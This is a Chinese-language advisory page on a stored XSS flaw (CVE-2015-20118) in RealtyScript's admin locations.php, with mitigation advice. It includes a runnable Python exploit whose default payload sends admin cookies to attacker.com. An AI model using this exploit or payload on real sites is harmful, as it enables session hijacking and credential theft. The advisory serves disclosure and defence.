IPBUF安全漏洞报告
English
CVE-2015-20118 CVSS 7.2 高危

CVE-2015-20118 RealtyScript location_name参数存储型XSS漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2015-20118
漏洞类型
存储型XSS(跨站脚本攻击)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next Click Ventures RealtyScript 4.0.2

相关标签

CVE-2015-20118存储型XSS跨站脚本攻击RealtyScriptNext Click Ventures管理后台漏洞会话劫持Web应用安全OWASP Top 10高危漏洞

漏洞概述

CVE-2015-20118是Next Click Ventures RealtyScript 4.0.2版本中存在的一个高危安全漏洞。该漏洞为存储型跨站脚本攻击(Stored XSS),位于管理后台的locations.php端点。具体来说,攻击者可以通过location_name参数注入恶意JavaScript代码。由于该参数未对用户输入进行充分的过滤和转义处理,攻击者提交的恶意脚本会被永久存储在服务器端。当管理员访问locations管理页面时,这些存储的恶意代码会在管理员浏览器中执行,从而实现会话劫持、凭据窃取或进一步的管理后台攻击。CVSS 3.1评分7.2,属于高危级别漏洞,攻击复杂度低且无需认证和用户交互即可利用。漏洞由VulnCheck发现并披露,已在多个漏洞数据库中登记。

技术细节

该漏洞存在于RealtyScript 4.0.2的管理界面locations.php文件中。攻击者通过向该端点发送POST请求,在location_name参数中注入恶意JavaScript或HTML代码。由于应用程序在后端存储用户输入时未对特殊字符进行HTML实体编码(如将<转换为&lt;,>转换为&gt;),导致恶意代码被直接存入数据库。当管理员或其他用户访问包含该location_name的页面时,浏览器会将其作为合法HTML/JS解析执行,从而触发XSS攻击。由于是存储型XSS,恶意代码具有持久性,一旦注入成功,只要数据不被删除,每次访问都会触发。这是典型的OWASP Top 10中的A3:2017注入类漏洞,源于输入验证和输出编码的缺失。攻击者可利用此漏洞窃取管理员Cookie、伪造管理员操作或进行进一步权限提升。

攻击链分析

STEP 1
1
侦察阶段:攻击者识别目标网站使用的RealtyScript版本,确认其为4.0.2或更早版本
STEP 2
2
访问管理后台:攻击者找到admin/locations.php端点,该页面通常位于管理路径下
STEP 3
3
构造恶意请求:攻击者构造包含XSS payload(如<script>标签)的POST请求,将location_name参数设置为恶意JavaScript代码
STEP 4
4
注入存储:向locations.php端点发送恶意POST请求,由于应用未对输入进行过滤,payload被存入数据库
STEP 5
5
触发执行:当管理员登录后台访问locations管理页面时,存储的恶意代码随页面内容一同返回并在浏览器中执行
STEP 6
6
攻击成功:恶意JavaScript可窃取管理员Cookie、会话令牌或执行其他恶意操作,实现会话劫持或进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2015-20118 PoC - Stored XSS in RealtyScript location_name parameter # Target: RealtyScript 4.0.2 admin interface def exploit_stored_xss(target_url, payload): """ Exploit the stored XSS vulnerability in RealtyScript locations.php Args: target_url: Base URL of the RealtyScript installation payload: Malicious JavaScript payload to inject Returns: bool: True if exploitation appears successful """ # Endpoint for adding locations in admin interface endpoint = f"{target_url}/admin/locations.php" # Construct POST data with XSS payload in location_name parameter data = { 'location_name': payload, 'submit': 'Add Location' } # Optional: Add authentication if required # cookies = {'admin_session': 'your_session_token'} try: # Send POST request to inject the XSS payload response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully to {endpoint}") print(f"[+] Payload: {payload}") print("[+] The XSS payload is now stored in the database") print("[+] It will execute when admin visits locations page") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def verify_injection(target_url): """ Verify if the injection was successful by accessing the locations page """ verify_url = f"{target_url}/admin/locations.php" try: response = requests.get(verify_url, timeout=10) if response.status_code == 200: print(f"[+] Locations page accessible at {verify_url}") return True except: return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2015_20118.py <target_url> [payload]") print("Example: python cve_2015_20118.py http://target.com \"<script>alert(document.cookie)</script>\"") sys.exit(1) target = sys.argv[1] # Default payload - cookie stealing payload = sys.argv[2] if len(sys.argv) > 2 else "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>" print("=" * 60) print("CVE-2015-20118 - RealtyScript Stored XSS Exploit") print("=" * 60) exploit_stored_xss(target, payload)

影响范围

RealtyScript < 4.0.2
Next Click Ventures RealtyScript 4.0.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 在Web服务器层面配置输入过滤规则,拒绝包含<script>标签等XSS特征的请求;2) 临时禁用locations.php功能或限制只有可信IP可访问管理后台;3) 对所有location_name等用户可控参数实施强制HTML编码后再存储和展示;4) 监控管理后台访问日志,检测异常的POST请求特征;5) 提醒管理员勿轻易访问可疑链接,定期更换管理密码以降低会话劫持风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表